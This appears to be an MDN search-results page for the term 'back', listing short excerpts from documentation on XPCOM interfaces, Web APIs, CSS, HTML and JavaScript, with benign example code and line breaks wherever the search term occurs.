...tom aproperty, in astring aattribute, in astring avalue); void removeinlineproperty(in nsiatom aproperty, in astring aattribute); void removeinsertionlistener(in nsicontentfilter infilter); void removelist(in astring alisttype); void replaceheadcontentswithhtml(in astring asourcetoinsert); void selectelement(in nsidomelement aelement); void set
backgroundcolor(in astring acolor); void setbodyattribute(in astring aattr, in astring avalue); void setcaretafterelement(in nsidomelement aelement); void setcssinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void setdocumenttitle(in astring atitle); void setinlineproperty(in nsiatom aproperty, in astring aattribute, in astri...
... aalign enum value for first encountered alignment (left/center/right) get
backgroundcolorstate() getfontcolorstate() returns what font face is in the selection.
...And 3 more matches
nsINavHistoryService
ryqueryoptions options); autf8string queriestoquerystring([array, size_is(aquerycount)] in nsinavhistoryquery aqueries, in unsigned long aquerycount, in nsinavhistoryqueryoptions options); void addobserver(in nsinavhistoryobserver observer, in boolean ownsweak); void removeobserver(in nsinavhistoryobserver observer); void runinbatchmode(in nsinavhistorybatchcall
back acall
back, in nsisupports aclosure); void importhistory(in nsifile file); astring getcharsetforuri(in nsiuri auri); astring setcharsetforuri(in nsiuri auri, in astring acharset); attributes attribute type description hashistoryentries boolean true if there is any history.
...this will probably not be commonly used other than for
backup/restore type operations.
... runinbatchmode() this method runs the passed call
back in batch mode.
...And 3 more matches
nsIRadioInterfaceLayer
worker-manager;1"] .getservice(components.interfaces.nsiinterfacerequestor) .createinstance(components.interfaces.nsiradiointerfacelayer); method overview void answercall(in unsigned long callindex); void deactivatedatacall(in domstring cid, in domstring reason); void dial(in domstring number); void enumeratecalls(in nsiriltelephonycall
back call
back); void getdatacalllist(); unsigned short getnumberofmessagesfortext(in domstring text); void hangup(in unsigned long callindex); void registercall
back(in nsiriltelephonycall
back call
back); void registerdatacallcall
back(in nsirildatacall
back call
back); void rejectcall(in unsigned long callindex); void sendsms(in domstring number, in domstring message, in long requestid, in u...
...nsigned long long processid); void setupdatacall(in long radiotech, in domstring apn, in domstring user, in domstring passwd, in long chappap, in domstring pdptype); void starttone(in domstring dtmfchar); void stoptone(); void unregistercall
back(in nsiriltelephonycall
back call
back); void unregisterdatacallcall
back(in nsirildatacall
back call
back); attributes attribute type description currentstate jsval read only.
...void dial( in domstring number ); parameters number missing description exceptions thrown missing exception missing description enumeratecalls() will continue calling call
back.enumeratecallstate until the call
back returns false.
...And 3 more matches
nsIServerSocket
to create an instance, use: var serversocket = components.classes["@mozilla.org/network/server-socket;1"] .createinstance(components.interfaces.nsiserversocket); method overview void init(in long aport, in boolean aloop
backonly, in long a
backlog); void initwithaddress([const] in prnetaddrptr aaddr, in long a
backlog);native code only!
... void init( in long aport, in boolean aloop
backonly, in long a
backlog ); parameters aport the port of the server socket.
... aloop
backonly if true, the server socket will only respond to connections on the local loop
back interface.
...And 3 more matches
nsITextInputProcessorNotification
dom/interfaces/base/nsitextinputprocessorcall
back.idlscriptable this interface of a request or notification to ime 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) this interface tells details of a request or notification to ime.
...so, nsitextinputprocessorcall
back won't be changed for keeping
backward compatibility.
... when this is requested, the call
back should commit composition synchronously, i.e., nsitextinputprocessor.commitcomposition() should be called.
...And 3 more matches
XPCOM Interface Reference by grouping
browser autocomplete nsiautocompletecontroller nsiautocompleteinput nsiautocompletesearch console nsiconsolelistener nsiconsolemessage nsiconsoleservice document nsidocshell dom device nsidomgeogeolocation nsidomgeoposition nsidomgeopositionaddress nsidomgeopositioncall
back nsidomgeopositioncoords nsidomgeopositionerror nsidomgeopositionerrorcall
back nsidomgeopositionoptions nsidomglobalpropertyinitializer element nsidomchromewindow nsidomclientrect nsidomelement nsidomhtmlaudioelement nsidomhtmlformelement nsidomhtmlmediaelement nsidomhtmlsourceelement nsidomhtmltimeranges nsidomjswindow nsidomnode...
...scope nsiworkermessageevent nsiworkermessageport nsiworkerscope tree nsitreeboxobject nsitreecolumn nsitreecolumns nsitreecontentview nsitreeselection nsitreeview xform nsixformsmodelelement nsixformsnsinstanceelement nsixformsnsmodelelement xmlhttprequest nsixmlhttprequesteventtarget favicon nsifavicondatacall
back nsifaviconservice frame nsichromeframemessagemanager nsiframeloader nsiframeloaderowner nsiframemessagelistener nsiframemessagemanager interface nsijsxmlhttprequest jetpack nsijetpack nsijetpackservice offlinestorage nsiapplicationcache nsiapplicationcachechannel nsiapplicationcachecontainer nsiapplicationcachenam...
...nt do not use nsienumerator nsiinprocesscontentframemessagemanager nsiscriptableio nsixpcscriptable future nsixmlhttprequestupload obsolete nsixmlrpcclient nsixmlrpcfault security auth nsiauthmodule nsiauthprompt nsiauthpromptprovider nsiauthpromptwrapper nsiasyncverifyredirectcall
back content nsicontentpolicy credentials nsilogininfo nsiloginmanager using nsiloginmanager nsiloginmanagerstorage nsiloginmetainfo history nsiglobalhistory nsiglobalhistory2 nsiglobalhistory3 ssl nsibadcertlistener2 system ...
...And 3 more matches
Using popup notifications
in addition, notifications can be dismissed and recalled by clicking anywhere outside the notification, then clicking on the notification icon to bring it
back again.
... then you can create the popup notification at the appropriate time like this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "this is a sample popup notification.", null, /* anchor id */ { label: "do something", accesskey: "d", call
back: function() { alert("doing something awesome!"); } }, null /* secondary action */ ); in this case, we aren't providing any secondary actions; that is, actions provided to the user through the drop-down menu.
... the look we want: adding secondary options to provide options in the drop-down menu, add an array of notification actions to the call to the show() method, like this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "this is a sample popup notification.", null, /* anchor id */ { label: "do something", accesskey: "d", call
back: function() { alert("doing something awesome!"); } }, [ { label: "first secondary option", accesskey: "1", call
back: function() { alert("first secondary option selected."); } }, { label: "second secondary option", accesskey: "2", cal...
...And 3 more matches
Drawing and Event Handling - Plugins
this value prevents the instance from drawing further until it is pasted
back on the page and npp_setwindow is called again with a new value.
...additionally, the browser creates an npsetwindowcall
backstruct object and passes it in the ws_info field of npwindow.
...this way, the plug-in can draw an irregularly shaped area, such as a figure, or text over the existing
background.
...And 3 more matches
Using dynamic styling information - Web APIs
modify a stylesheet rule with cssom <html> <head> <title>modifying a stylesheet rule with cssom</title> <style type="text/css"> body {
background-color: red; } </style> <script type="text/javascript"> var stylesheet = document.stylesheets[0]; stylesheet.cssrules[0].style.
backgroundcolor="blue"; </script> </head> <body> the stylesheet declaration for the body's
background color is modified via javascript.
...however, this property only returns style attributes that have been set in-line (e.g, <td style="
background-color: lightblue"> returns the string "
background-color:lightblue", or directly for that element using element.style.propertyname, even though there may be other styles on the element from a stylesheet).
... <html> <head> <title>simple style example</title> <script type="text/javascript"> function alterstyle(elem) { elem.style.
background = 'green'; } function resetstyle(elemid) { elem = document.getelementbyid(elemid); elem.style.
background = 'white'; } </script> <style type="text/css"> #p1 { border: solid blue 2px; } </style> </head> <body> <!-- passes a reference to the element's object as parameter 'this'.
...And 3 more matches
CanvasRenderingContext2D.drawWindow() - Web APIs
notes: if "rgba(0,0,0,0)" is used for the
background color, the drawing will be transparent wherever the window is transparent.
... top-level browsed documents are usually not transparent because the user's
background-color preference is applied, but iframes are transparent if the page doesn't set a
background.
... if an opaque color is used for the
background color, rendering will be faster because we won't have to compute the window's transparency.
...And 3 more matches
CanvasRenderingContext2D - Web APIs
canvasrenderingcontext2d.closepath() causes the point of the pen to move
back to the start of the current sub-path.
... canvasrenderingcontext2d.canvas a read-only
back-reference to the htmlcanvaselement.
... webkit only canvasrenderingcontext2d.webkit
backingstorepixelratio the
backing store size in relation to the canvas element.
...And 3 more matches
Applying styles and colors - Web APIs
a globalalpha example in this example, we'll draw a
background of four different colored squares.
...by increasing the step count and in effect drawing more circles, the
background would completely disappear from the center of the image.
... function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); // draw
background ctx.fillstyle = '#fd0'; ctx.fillrect(0, 0, 75, 75); ctx.fillstyle = '#6c0'; ctx.fillrect(75, 0, 75, 75); ctx.fillstyle = '#09f'; ctx.fillrect(0, 75, 75, 75); ctx.fillstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set transparency value ctx.globalalpha = 0.2; // draw semi transparent circles for (var i = 0; i < 7; i++) { ctx.beginpath(); ctx.arc(75, 75, 10 + 10 * i, 0, math.pi * 2, true); ctx.fill(); } } <canvas id="canvas" width="150" height="150"></canvas> draw(); screenshotlive sample an example using rgba() in this second example, we do something similar to the one above, but instead of drawing circles on top of e...
...And 3 more matches
FileSystemFileEntry.createWriter() - Web APIs
syntax filesystemfileentry.createwriter(successcall
back[, errorcall
back]); parameters successcall
back a call
back function which is called when the filewriter has been created successfully; the filewriter is passed into the call
back as the only parameter.
... errorcall
back optional if provided, this must be a method which is caled when an error occurs while trying to create the filewriter.
... this call
back receives as input a fileerror object describing the error.
...And 3 more matches
FileSystemFlags.create - Web APIs
option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the successcall
back is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called.
... false n/a[1] path exists but doesn't match the desired type the errorcall
back is called with an appropriate error code (if the call
back was provided).
... true false path exists the existing file or directory is removed and replaced with a new one, then the successcall
back is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate.
...And 3 more matches
FileSystemFlags.exclusive - Web APIs
option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the successcall
back is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called.
... false n/a[1] path exists but doesn't match the desired type the errorcall
back is called with an appropriate error code (if the call
back was provided).
... true false path exists the existing file or directory is removed and replaced with a new one, then the successcall
back is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate.
...And 3 more matches
FileSystemFlags - Web APIs
option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the successcall
back is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called.
... false n/a[1] path exists but doesn't match the desired type the errorcall
back is called with an appropriate error code (if the call
back was provided).
... true false path exists the existing file or directory is removed and replaced with a new one, then the successcall
back is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate.
...And 3 more matches
Audio() - Web APIs
return value a new htmlaudioelement object, configured to be used for playing
back the audio from the file specified by url.the new object's preload property is set to auto and its src property is set to the specified url or null if no url is given.
... determining when play
back can begin there are three ways you can tell when enough of the audio file has loaded to allow play
back to begin: check the value of the readystate property.
... if it's htmlmediaelement.have_future_data, there's enough data available to begin play
back and play for at least a short time.
...And 3 more matches
IdleDeadline.didTimeout - Web APIs
the read-only didtimeout property on the idledeadline interface is a boolean value which indicates whether or not the idle call
back is being invoked because the timeout interval specified when window.requestidlecall
back() was called has expired.
... idle call
backs support the concept of a timeout in order to ensure that whatever task they're meant to perform actually happens, even if the user agent never has enough idle time available.
... your call
back will typically check the value of didtimeout if it needs to perform an action even if the browser is too busy to grant you the time; you should react by performing the needed task or, ideally, a minimal amount of work that can be done to keep things moving along, then schedule a new call
back to try again to get the rest of the work done.
...And 3 more matches
IdleDeadline.timeRemaining() - Web APIs
the call
back can call this method at any time to determine how much time it can continue to work before it must return.
... for example, if the call
back finishes a task and has another one to begin, it can call timeremaining() to see if there's enough time to complete the next task.
... if there isn't, the call
back can just return immediately, or look for other work to do with the remaining time.
...And 3 more matches
IntersectionObserver.IntersectionObserver() - Web APIs
syntax var observer = new intersectionobserver(call
back[, options]); parameters call
back a function which is called when the percentage of the target element is visible crosses a threshold.
... the call
back receives as input two parameters: entries an array of intersectionobserverentry objects, each representing one threshold which was crossed, either becoming more or less visible than the percentage specified by that threshold.
... observer the intersectionobserver for which the call
back is being invoked.
...And 3 more matches
MediaQueryList.addListener() - Web APIs
the addlistener() method of the mediaquerylist interface adds a listener to the mediaquerylistener that will run a custom call
back function in response to the media query status changing.
... this is basically an alias for eventtarget.addeventlistener(), for
backwards compatibility purposes.
... syntax mediaquerylist.addlistener(func) parameters func a function or function reference representing the call
back function you want to run when the media query status changes.
...And 3 more matches
Recording a media element - Web APIs
note that the autoplay attribute is used so that as soon as the stream starts to arrive from the camera, it immediately gets displayed, and the muted attribute is specified to ensure that the sound from the user's microphone isn't output to their speakers, causing an ugly feed
back loop.
... <div class="right"> <div id="stopbutton" class="button"> stop </div> <h2>recording</h2> <video id="recording" width="160" height="120" controls></video> <a id="downloadbutton" class="button"> download </a> </div> on the right we see a stop button and the <video> element which will be used to play
back the recorded video.
... notice that the play
back panel doesn't have autoplay set (so the play
back doesn't start as soon as media arrives), and it has controls set, which tells it to show the user controls to play, pause, and so forth.
...And 3 more matches
Media Session API - Web APIs
it does this by providing metadata for display by the user agent of the media your web app is playing, and allows you to create event handlers, to define your own behaviors for a user-agent play
back controls.
... the mediasession interface lets users control play
back of media through user-agent defined interface elements.
...for example, to set the current state of the media session to playing: navigator.mediasession.play
backstate = "playing"; interfaces mediametadata allows a web page to provide rich media metadata, for display in a platform ui.
...And 3 more matches
MutationObserver.observe() - Web APIs
the mutationobserver method observe() configures the mutationobserver call
back to begin receiving notifications of changes to the dom that match the given options.
... to stop the mutationobserver (so that none of its call
backs will be triggered any longer), call mutationobserver.disconnect().
... options a mutationobserverinit object providing options that describe which dom mutations should be reported to mutationobserver’s call
back.
...And 3 more matches
RTCPeerConnection.getStats() - Web APIs
obsolete syntax previously, getstats() used success and failure call
backs to report the results to you, instead of using a promise.
... promise = rtcpeerconnection.getstats(selector, successcall
back, failurecall
back) parameters selector optional a mediastreamtrack for which to gather statistics.
... successcall
back a call
back function to call when the stats have been retrieved.
...And 3 more matches
RTCPeerConnection.setLocalDescription() - Web APIs
syntax apromise = rtcpeerconnection.setlocaldescription(sessiondescription); pc.setlocaldescription(sessiondescription, successcall
back, errorcall
back); parameters sessiondescription optional an rtcsessiondescriptioninit or rtcsessiondescription which specifies the configuration to be applied to the local end of the connection.
... deprecated parameters in older code and documentation, you may see a call
back-based version of this function used.
... successcall
back a javascript function which accepts no input parameters to be be called once the description has been successfully set.
...And 3 more matches
Service Worker API - Web APIs
they will also allow access to push notifications and
background sync apis.
... if there is an existing service worker available, the new version is installed in the
background, but not yet activated — at this point it is called the worker in waiting.
... other use case ideas service workers are also intended to be used for such things as:
background data synchronization.
...And 3 more matches
Streams API concepts - Web APIs
backpressure an important concept in streams is
backpressure — this is the process by which a single stream or a pipe chain regulates the speed of reading/writing.
... when a stream later in the chain is still busy and isn't yet ready to accept more chunks, it sends a signal
backwards through the chain to tell earlier transform streams (or the original source) to slow down delivery as appropriate so that you don't end up with a bottleneck anywhere.
... to use
backpressure in a readablestream, we can ask the controller for the chunk size desired by the consumer by querying the readablestreamdefaultcontroller.desiredsize property on the controller.
...And 3 more matches
WebGLRenderingContext.cullFace() - Web APIs
the webglrenderingcontext.cullface() method of the webgl api specifies whether or not front- and/or
back-facing polygons can be culled.
... syntax void gl.cullface(mode); parameters mode a glenum specifying whether front- or
back-facing polygons are candidates for culling.
... the default value is gl.
back.
...And 3 more matches
WebGLRenderingContext.stencilMaskSeparate() - Web APIs
the webglrenderingcontext.stencilmaskseparate() method of the webgl api controls enabling and disabling of front and/or
back writing of individual bits in the stencil planes.
... the webglrenderingcontext.stencilmask() method can set both, the front and
back stencil writemasks to one value at the same time.
... syntax void gl.stencilmaskseparate(face, mask); parameters face a glenum specifying whether the front and/or
back stencil writemask is updated.
...And 3 more matches
Taking still photos with WebRTC - Web APIs
the rest is just some page layout fluff and a bit of text offering a link
back to this page.
...it returns a promise which we attach success and failure call
backs to.
... the success call
back receives a stream object as input.
...And 3 more matches
Writing WebSocket servers - Web APIs
in the handshake, details of the connection are negotiated, and either party can
back out before completion if the terms are unfavorable.
...if the server doesn't understand that version of websockets, it should send a sec-websocket-version header
back that contains the version(s) it does understand.
... server handshake response when the server receives the handshake request, it should send
back a special response that indicates that the protocol will be changing from http to websocket.
...And 3 more matches
Basic concepts behind Web Audio API - Web APIs
it won't turn you into a master sound engineer, but it will give you enough
background to understand why the web audio api works like it does.
... if you use this call above, you will get a stereo buffer with two channels, that when played
back on an audiocontext running at 44100hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames/44100hz = 0.5 seconds.
... var context = new audiocontext(); var buffer = context.createbuffer(1, 22050, 22050); if you use this call, you will get a mono buffer with just one channel), that when played
back on an audiocontext running at 44100hz, will be automatically resampled to 44100hz (and therefore yield 44100 frames), and last for 1.0 second: 44100 frames/44100hz = 1 second.
...And 3 more matches
Web Audio API - Web APIs
it can be used to simply incorporate audio into your website or application, by providing atmosphere like futurelibrary.no, or auditory feed
back on forms.
... learning coding is like playing cards — you learn the rules, then you play, then you go
back and learn the rules again, then you play again.
...t to start building instruments, then you can go ahead and start building things with the advance tutorial and others as a guide (the above linked tutorial covers scheduling notes, creating bespoke oscillators and envelopes, as well as an lfo among other things.) if you aren't familiar with the programming basics, you might want to consult some beginner's javascript tutorials first and then come
back here — see our beginner's javascript learning module for a great place to begin.
...And 3 more matches
Web Locks API - Web APIs
it takes a lock name, an optional set of options, and a call
back.
... the call
back is invoked when the lock is granted.
... the lock is automatically released when the call
back returns, so usually the call
back is an async function, which causes the lock to be released only when the async function has completely finished.
...And 3 more matches
Using the Web Speech API - Web APIs
when the screen is tapped/clicked, you can say an html color keyword, and the app's
background color will change to that color.
... <h1>speech color changer</h1> <p>tap/click then say a color to change the
background color of the app.</p> <div> <p class="output"><em>...diagnostic messages</em></p> </div> the css provides a very simple responsive styling so that it looks ok across devices.
... are just specifying one (which is actually the default anyway.) recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; starting the speech recognition after grabbing references to the output <div> and the html element (so we can output diagnostic messages and update the app
background color later on), we implement an onclick handler so that when the screen is tapped/clicked, the speech recognition service will start.
...And 3 more matches
XRInputSourceArray.forEach() - Web APIs
the xrinputsourcearray method foreach() executes the specified call
back once for each input source in the array, starting at index 0 and progressing until the end of the list.
... syntax xrinputsourcearray.foreach(call
back, thisarg); parameters call
back a function to execute once for each entry in the array xrinputsourcearray.
... the call
back accepts up to three parameters: currentvalue a xrinputsource object which is the value of the item from within the xrinputsourcearray which is currently being processed.
...And 3 more matches
XRSession.requestAnimationFrame() - Web APIs
the xrsession method requestanimationframe(), much like the window method of the same name, schedules a call
back to be executed the next time the browser is ready to paint the session's virtual environment to the xr display.
... the specified call
back is executed once before the next repaint; if you wish for it to be executed for the following repaint, you must call requestanimationframe() again.
... this can be done from within the call
back itself.
...And 3 more matches
Web APIs
aambient light eventsb
background tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection...
... a angle_instanced_arrays abortcontroller abortsignal absoluteorientationsensor abstractrange abstractworker accelerometer addresserrors aescbcparams aesctrparams aesgcmparams aeskeygenparams ambientlightsensor analysernode animation animationeffect animationevent animationplay
backevent animationtimeline arraybufferview attr audiobuffer audiobuffersourcenode audioconfiguration audiocontext audiocontextlatencycategory audiocontextoptions audiodestinationnode audiolistener audionode audionodeoptions audioparam audioparamdescriptor audioparammap audioprocessingevent audioscheduledsourcenode audiotrack audiotracklist audioworklet audioworkletglobalscope audioworkletnode...
...crtcpparameters rtcrtpcapabilities rtcrtpcodeccapability rtcrtpcodecparameters rtcrtpcontributingsource rtcrtpencodingparameters rtcrtpparameters rtcrtpreceiveparameters rtcrtpreceiver rtcrtpsendparameters rtcrtpsender rtcrtpstreamstats rtcrtpsynchronizationsource rtcrtptransceiver rtcrtptransceiverdirection rtcrtptransceiverinit rtcsctptransport rtcsessiondescription rtcsessiondescriptioncall
back rtcstats rtcstatsicecandidatepairstate rtcstatsreport rtcstatstype rtctrackevent rtctrackeventinit radionodelist range readablebytestreamcontroller readablestream readablestreambyobreader readablestreambyobrequest readablestreamdefaultcontroller readablestreamdefaultreader relativeorientationsensor renderingcontext report reportingobserver reportingobserveroptions request requestdes...
...And 3 more matches
Color contrast - Accessibility
the color contrast between
background and foreground content (that is, usually text) should be great enough to ensure legibility.
... examples let's have a look at some simple html and css code: <div class="good">good contrast</div> <div class="bad">bad contrast</div> div { /* general div styles here */ } .good {
background-color: #fae6fa; } .bad {
background-color: #400064; } both pieces of text have their default black color.
... the "good" <div> has a light purple
background, which makes the text easy to read: example1 <div class="good"> good contrast </div> div { font-family: sans-serif; text-align: center; font-size: 2rem; font-weight: bold; width: 250px; padding: 30px; border-radius: 20px; box-shadow: 1px 1px 1px black; } .good {
background-color: #fae6fa; } the "bad" <div> on the other hand has a very dark purple
background, which makes the text much harder to read: example2 <div class="bad"> bad contrast </div> div { font-family: sans-serif; text-align: center; font-size: 2rem; font-weight: bold; width: 250px; padding: 30px; border-radius: 20px; box-shadow: 1px 1px 1px black; } .bad {
background-color: #400064; } solution when ...
...And 3 more matches
@counter-style - CSS: Cascading Style Sheets
if a counter style is used to represent a counter value outside of its ranges, the counter style will drop
back to its fall
back style.
... fall
back specifies a system to fall
back into if either the specified system is unable to construct the representation of a counter value or if the counter value outside the specified range.
... if the specified fall
back also fails to represent the value, then the fall
back style's fall
back is used, if one is specified.
...And 3 more matches
font-display - CSS: Cascading Style Sheets
syntax /* keyword values */ font-display: auto; font-display: block; font-display: swap; font-display: fall
back; font-display: optional; values auto the font display strategy is defined by the user agent.
... fall
back gives the font face an extremely small block period and a short swap period.
... font block period if the font face is not loaded, any element attempting to use it must render an invisible fall
back font face.
...And 3 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
.wrapper > p { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; margin: 1em; color: #d9480f; max-width: 300px; } <div class="wrapper"> <p style="writing-mode: horizontal-tb">i have writing mode set to the default <code>horizontal-tb</code></p> <p style="writing-mode: vertical-rl">i have writing mode set to <code>vertical-rl</code></p> </div> writing modes in grid layouts if we now take a look a...
...it then moves onto the next line, creating a new row track, and fills in more items: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(2, 100px); grid-gap: 10px; } <div class="wrapper"> <div class="item1">item 1</div> <div class="item2">item 2</div> <di...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { writing-mode: vertical-lr; display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(2, 100px); grid-gap: 10px; } <div class="wrapper"> <div class="item1">item 1</div> <div cla...
...And 3 more matches
Grid template areas - CSS: Cascading Style Sheets
.wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" "ft ft ft ft ft ft ft ft ft"; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="header">header</div> <div class="sidebar">sidebar</div> <div class="content">content</div> <div class="footer">footer</div> </div> ...
... .header { grid-area: hd; } .footer { grid-area: ft; } .content { grid-area: main; } .sidebar { grid-area: sd; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" ...
... .header { grid-area: hd; } .footer { grid-area: ft; } .content { grid-area: main; } .sidebar { grid-area: sd; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" ...
...And 3 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { max-width: 1024px; margin: 0 auto; font: 1.2em helvetica, arial, sans-serif; } .wrapper > * { border: 2px solid #f08c00;
background-color: #ffec99; border-radius: 5px; padding: 10px; } nav ul { list-style: none; margin: 0; padding: 0; } <div class="wrapper"> <header class="main-head">the header</header> <nav class="main-nav"> <ul> <li><a href="">nav 1</a></li> <li><a href="">nav 2</a></li> ...
... .wrapper { max-width: 1024px; margin: 0 auto; font: 1.2em helvetica, arial, sans-serif; } .wrapper > * { border: 2px solid #f08c00;
background-color: #ffec99; border-radius: 5px; padding: 10px; } .wrapper { display: grid; grid-template-columns: repeat(12, [col-start] 1fr); grid-gap: 20px; } to demonstrate how this grid system works i have four child elements inside my wrapper.
... * {box-sizing: border-box;} .wrapper { max-width: 1024px; margin: 0 auto; font: 1.2em helvetica, arial, sans-serif; } .wrapper > * { border: 2px solid #f08c00;
background-color: #ffec99; border-radius: 5px; padding: 10px; } nav ul { list-style: none; margin: 0; padding: 0; } <div class="wrapper"> <header class="main-head">the header</header> <nav class="main-nav"> <ul> <li><a href="">nav 1</a></li> <li><a href="">nav 2</a></li> ...
...And 3 more matches
Shorthand properties - CSS: Cascading Style Sheets
for instance, the css
background property is a shorthand property that's able to define the values of
background-color,
background-image,
background-repeat, and
background-position.
...therefore:
background-color: red;
background: url(images/bg.gif) no-repeat left top; will not set the color of the
background to red but to
background-color's default, transparent, as the second rule has precedence.
...
background properties a
background with the following properties ...
...And 3 more matches
opacity - CSS: Cascading Style Sheets
thus, the element and its children all have the same opacity relative to the element's
background, even if they have different opacities relative to one another.
... if you do not want to apply opacity to child elements, use the
background property instead.
... for example:
background: rgba(0, 0, 0, 0.4); accessibility concerns if text opacity is adjusted, it is important to ensure that the contrast ratio between the color of the text and the
background the text is placed over is high enough that people experiencing low vision conditions will be able to read the content of the page.
...And 3 more matches
<input type="week"> - HTML: Hypertext Markup Language
when the browser falls
back to a generic text input, there's nothing to guide the user toward correctly formatting the input (and it's certainly not intuitive).
... the html looks like so: <form> <div class="nativeweekpicker"> <label for="week">what week would you like to start?</label> <input id="week" type="week" name="week" min="2017-w01" max="2018-w52" required> <span class="validity"></span> </div> <p class="fall
backlabel">what week would you like to start?</p> <div class="fall
backweekpicker"> <div> <span> <label for="week">week:</label> <select id="fall
backweek" name="week"> </select> </span> <span> <label for="year">year:</label> <select id="year" name="year"> <option value="2017" selected>2017</option> <option value="2018">...
...non-supporting browsers will return text, because the week type falls
back to type text.
...And 3 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
bgcolor the
background color of the table.
... as this attribute is deprecated, use the css
background-color property instead.
...the cells are given a light gray outline which is a single pixel thick, padding is adjusted, and all cells are left-aligned using text-align thead > tr > th {
background-color: #cce; font-size: 18px; border-bottom: 2px solid #999; } finally, header cells contained within the <thead> block are given additional styling.
...And 3 more matches
HTML elements reference - HTML: Hypertext Markup Language
<rp> the html ruby fall
back parenthesis (<rp>) element is used to provide fall-
back parentheses for browsers that do not support display of ruby annotations using the <ruby> element.
... <video> the html video element (<video>) embeds a media player which supports video play
back into the document.
... <select> the html <select> element represents a control that provides a menu of options <textarea> the html <textarea> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a comment on a review or feed
back form.
...And 3 more matches
Concurrency model and the event loop - JavaScript
here is an example that demonstrates this concept (settimeout does not run immediately after its timer expires): const s = new date().getseconds(); settimeout(function() { // prints out "2", meaning that the call
back is not called immediately after 500 milliseconds.
... console.log("ran after " + (new date().getseconds() - s) + " seconds"); }, 500) while (true) { if (new date().getseconds() - s >= 2) { console.log("good, looped for 2 seconds") break; } } zero delays zero delay doesn't actually mean the call
back will fire-off after zero milliseconds.
... calling settimeout with a delay of 0 (zero) milliseconds doesn't execute the call
back function after the given interval.
...And 3 more matches
Regular expressions - JavaScript
escaping if you need to use any of the special characters literally (actually searching for a "*", for instance), you must escape it by putting a
backslash in front of it.
... for instance, to search for "a" followed by "*" followed by "b", you'd use /a\*b/ — the
backslash "escapes" the "*", making it literal instead of special.
...for instance, to search for the string "/example/" followed by one or more alphabetic characters, you'd use /\/example\/[a-z]+/i—the
backslashes before each slash make them literal.
...And 3 more matches
Authoring MathML - MathML
fall
back for browsers without mathml support unfortunately, some browsers are not able to render mathml equations or only have a limited support.
... hence you will need to use a mathml polyfill to provide some fall
back rendering.
...there is also a similar script to display a warning at the top of the page for browsers without good mathml support and let the users choose between one of the fall
back above: <script src="https://fred-wang.github.io/mathml-warning.js/mpadded-min.js"></script> if you don't want to use this link to github but instead to integrate these polyfills or others in your own project, you might need the detection scripts to verify the level of mathml support.
...And 3 more matches
Media container formats (file types) - Web media technologies
if at all possible, you should use one of the specific types, but fall
back to application/ogg if you don't know the content format or formats.
...playing
back media is a different thing than recording and/or editing it.
... consider using this container format compressed files for general-purpose play
